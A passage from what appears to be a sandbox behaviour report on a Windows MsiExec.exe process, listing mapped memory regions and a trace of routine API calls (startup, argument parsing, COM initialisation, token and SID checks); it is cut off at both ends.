"c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2359 start_va = 0x500000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2360 start_va = 0x650000 end_va = 0x7d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 2361 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2362 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2363 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2364 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2365 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2366 start_va = 0x9c0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 2367 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msiexec.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\msiexec.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msiexec.exe.mui") Region: id = 2368 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2369 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2370 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2371 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2372 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2373 start_va = 0x1dc0000 end_va = 0x208efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2374 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2375 start_va = 0x530000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2376 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 2377 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2378 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2379 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2380 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2381 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2382 start_va = 0x330000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2383 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2384 start_va = 0x5b0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2385 start_va = 0x738e0000 end_va = 0x738f6fff monitored = 0 entry_point = 0x738e3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2386 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2387 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2388 start_va = 0x2b0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2389 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2390 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2391 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2392 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2393 start_va = 0x738a0000 end_va = 0x738dafff monitored = 0 entry_point = 0x738a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2394 start_va = 0x747a0000 end_va = 0x747adfff monitored = 0 entry_point = 0x747a1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2395 start_va = 0x220000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2396 start_va = 0x5f0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 2397 start_va = 0x20a0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2398 start_va = 0x2220000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 2399 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2400 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2401 start_va = 0x380000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2402 start_va = 0x2110000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2403 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2404 start_va = 0x749e0000 end_va = 0x74a18fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "msia7fc.tmp" filename = "\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp") Region: id = 2405 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2406 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2407 start_va = 0x2260000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 2408 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2409 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2410 start_va = 0x2260000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 2411 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 2412 start_va = 0x2260000 end_va = 0x233efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002260000" filename = "" Region: id = 2413 start_va = 0x23c0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2414 start_va = 0x72aa0000 end_va = 0x72b94fff monitored = 0 entry_point = 0x72ab0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 2415 start_va = 0x200000 end_va = 0x201fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2416 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2417 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2418 start_va = 0x210000 end_va = 0x213fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2419 start_va = 0x260000 end_va = 0x285fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 2420 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2421 start_va = 0x2420000 end_va = 0x2520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2422 start_va = 0x2420000 end_va = 0x2520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2423 start_va = 0x2420000 end_va = 0x2520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2424 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2425 start_va = 0x210000 end_va = 0x213fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2426 start_va = 0x3c0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 2427 start_va = 0x2a0000 end_va = 0x2a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2428 start_va = 0x2150000 end_va = 0x21b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2429 start_va = 0x370000 end_va = 0x37dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 2430 start_va = 0x74de0000 end_va = 0x74f15fff monitored = 0 entry_point = 0x74de1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2431 start_va = 0x755b0000 end_va = 0x756a4fff monitored = 0 entry_point = 0x755b1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2432 start_va = 0x74f30000 end_va = 0x7512afff monitored = 0 entry_point = 0x74f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2433 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2434 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2435 start_va = 0x2420000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2436 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2437 start_va = 0x2570000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2438 start_va = 0x25b0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 2439 start_va = 0x759d0000 end_va = 0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 2440 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2441 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2442 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 2443 start_va = 0x500000 end_va = 0x50cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 2444 start_va = 0x2380000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 2445 start_va = 0x2720000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 2446 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2495 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2571 start_va = 0x739f0000 end_va = 0x73a02fff monitored = 0 entry_point = 0x739f1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2572 start_va = 0x2760000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2573 start_va = 0x2980000 end_va = 0x32affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2574 start_va = 0x25f0000 end_va = 0x266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Thread: id = 155 os_tid = 0xd3c [0150.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfe3c | out: lpSystemTimeAsFileTime=0x1dfe3c*(dwLowDateTime=0x7f3cf410, dwHighDateTime=0x1d8a8f3)) [0150.102] GetCurrentProcessId () returned 0x38c [0150.102] GetCurrentThreadId () returned 0xd3c [0150.102] GetTickCount () returned 0x187a8b4 [0150.102] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfe34 | out: lpPerformanceCount=0x1dfe34*=2578911863197) returned 1 [0150.103] GetStartupInfoA (in: lpStartupInfo=0x1dfde0 | out: lpStartupInfo=0x1dfde0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\syswow64\\MsiExec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0150.103] GetModuleHandleA (lpModuleName=0x0) returned 0x810000 [0150.103] __set_app_type (_Type=0x2) [0150.103] __p__fmode () returned 0x754b31f4 [0150.103] __p__commode () returned 0x754b31fc [0150.103] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x81c9ca) returned 0x0 [0150.104] __getmainargs (in: _Argc=0x81e0c8, _Argv=0x81e0d0, _Env=0x81e0cc, _DoWildCard=0, _StartInfo=0x81e048 | out: _Argc=0x81e0c8, _Argv=0x81e0d0, _Env=0x81e0cc) returned 0 [0150.104] _onexit (_Func=0x81cd13) returned 0x81cd13 [0150.104] _onexit (_Func=0x81cd2a) returned 0x81cd2a [0150.104] _onexit (_Func=0x81cd3b) returned 0x81cd3b [0150.104] _onexit (_Func=0x81cd4a) returned 0x81cd4a [0150.105] GetVersionExW (in: lpVersionInformation=0x1dfc34*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1dfc34*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0150.105] LoadLibraryW (lpLibFileName="COMCTL32") returned 0x73a90000 [0150.116] GetProcAddress (hModule=0x73a90000, lpProcName="InitCommonControlsEx") returned 0x73ab09ce [0150.116] InitCommonControlsEx (picce=0x1dfd94) returned 1 [0150.117] GetVersionExW (in: lpVersionInformation=0x1dd810*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1dd810*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0150.117] GetCurrentProcess () returned 0xffffffff [0150.117] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x1dd80c, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x1dd80c, ReturnLength=0x0) returned 0x0 [0150.117] GetCommandLineW () returned="C:\\Windows\\syswow64\\MsiExec.exe -Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000" [0150.117] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0150.117] GetFileType (hFile=0x0) returned 0x0 [0150.117] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="update", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="uninstall", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="package", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="help", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="quiet", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="passive", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="norestart", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="forcerestart", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="promptrestart", cchCount2=-1) returned 1 [0150.121] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", cchCount1=9, lpString2="log", cchCount2=-1) returned 1 [0150.121] memcpy (in: _Dst=0x1df370, _Src=0x1ddc20, _Size=0x10 | out: _Dst=0x1df370) returned 0x1df370 [0150.122] lstrlenW (lpString="OLE32") returned 5 [0150.122] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0150.122] GetProcAddress (hModule=0x752b0000, lpProcName="GetSystemWow64DirectoryW") returned 0x752cd92d [0150.122] GetSystemWow64DirectoryW (in: lpBuffer=0x1dd718, uSize=0x105 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0150.122] FreeLibrary (hLibModule=0x752b0000) returned 1 [0150.122] SetLastError (dwErrCode=0x0) [0150.122] LoadLibraryW (lpLibFileName="C:\\Windows\\SysWOW64\\OLE32.DLL") returned 0x75740000 [0150.122] GetProcAddress (hModule=0x75740000, lpProcName="CoInitializeEx") returned 0x757809ad [0150.122] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0150.124] OpenEventW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\MSI0000") returned 0xa0 [0150.124] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0150.124] CloseHandle (hObject=0xa0) returned 1 [0150.124] GetCurrentThread () returned 0xfffffffe [0150.124] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x2, OpenAsSelf=1, TokenHandle=0x1dd9f8 | out: TokenHandle=0x1dd9f8*=0xa0) returned 1 [0150.124] RegCloseKey (hKey=0x80000001) returned 0x0 [0150.124] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x0, cchName=0x0 | out: lpName=0x0) returned 0xea [0150.124] RevertToSelf () returned 1 [0150.124] GetCurrentProcess () returned 0xffffffff [0150.124] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1dd994 | out: TokenHandle=0x1dd994*=0xa8) returned 1 [0150.125] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1dd93c, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1dd938 | out: pSid=0x1dd938*=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0150.125] GetLengthSid (pSid=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0150.125] GetLengthSid (pSid=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0150.125] memcpy (in: _Dst=0x81f6f8, _Src=0x4153e8, _Size=0xc | out: _Dst=0x81f6f8) returned 0x81f6f8 [0150.125] GetTokenInformation (in: TokenHandle=0xa8, TokenInformationClass=0x1, TokenInformation=0x1dfd24, TokenInformationLength=0x50, ReturnLength=0x1dd960 | out: TokenInformation=0x1dfd24, ReturnLength=0x1dd960) returned 1 [0150.125] EqualSid (pSid1=0x1dfd2c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), pSid2=0x81f6f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0150.125] CloseHandle (hObject=0xa8) returned 1 [0150.125] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1dd930, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1dd6e8 | out: pSid=0x1dd6e8*=0x4153e8*(Revision=0x1, SubAuthorityCount=0x1, 